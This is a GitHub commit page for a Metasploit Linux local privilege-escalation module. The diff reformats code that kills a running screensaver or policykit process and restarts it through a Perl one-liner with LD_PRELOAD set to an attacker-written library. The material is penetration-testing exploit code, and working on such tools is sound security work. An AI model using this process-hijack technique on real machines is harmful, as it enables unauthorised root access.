Skip to content

Commit 121c040

Browse files
committed
Beautify restart_command creation
1 parent 43ec887 commit 121c040

File tree

1 file changed

+6
-4
lines changed

1 file changed

+6
-4
lines changed

modules/exploits/linux/local/desktop_privilege_escalation.rb

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -107,7 +107,7 @@ def exploit
107107
write_file(lib_file,lib_data)
108108

109109
print_status('Restarting processes (screensaver/policykit)')
110-
restart_commands = get_restart_commands()
110+
restart_commands = get_restart_commands
111111
restart_commands.each do |cmd|
112112
cmd['LD_PRELOAD_PLACEHOLDER'] = lib_file
113113
cmd_exec(cmd)
@@ -140,11 +140,13 @@ def get_restart_commands
140140
exe = lines[i+1].match(/^EXE:(\S+)$/)[1]
141141
vprint_status("exe=#{exe}")
142142

143-
cmdline = [lines[i+2].match(/^cmdline:(\w+)$/)[1]].pack("H*").split("\x00")
144-
vprint_status("CMDLINE=" + cmdline.join(" XXX "))
143+
cmdline = [lines[i+2].match(/^cmdline:(\w+)$/)[1]].pack('H*').split("\x00")
144+
vprint_status("CMDLINE=" + cmdline.join(' XXX '))
145145

146146
env = lines[i+3].match(/^environ:(\w+)$/)[1]
147-
restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map{|x| '"' + x + '"'}.join(", ") + '\'';
147+
restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();'
148+
restart_command << 'kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}'
149+
restart_command << '$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map{|x| '"' + x + '"'}.join(", ") + '\''
148150

149151
vprint_status("RESTART: #{restart_command}")
150152
restart_commands.push(restart_command)

0 commit comments

Comments
 (0)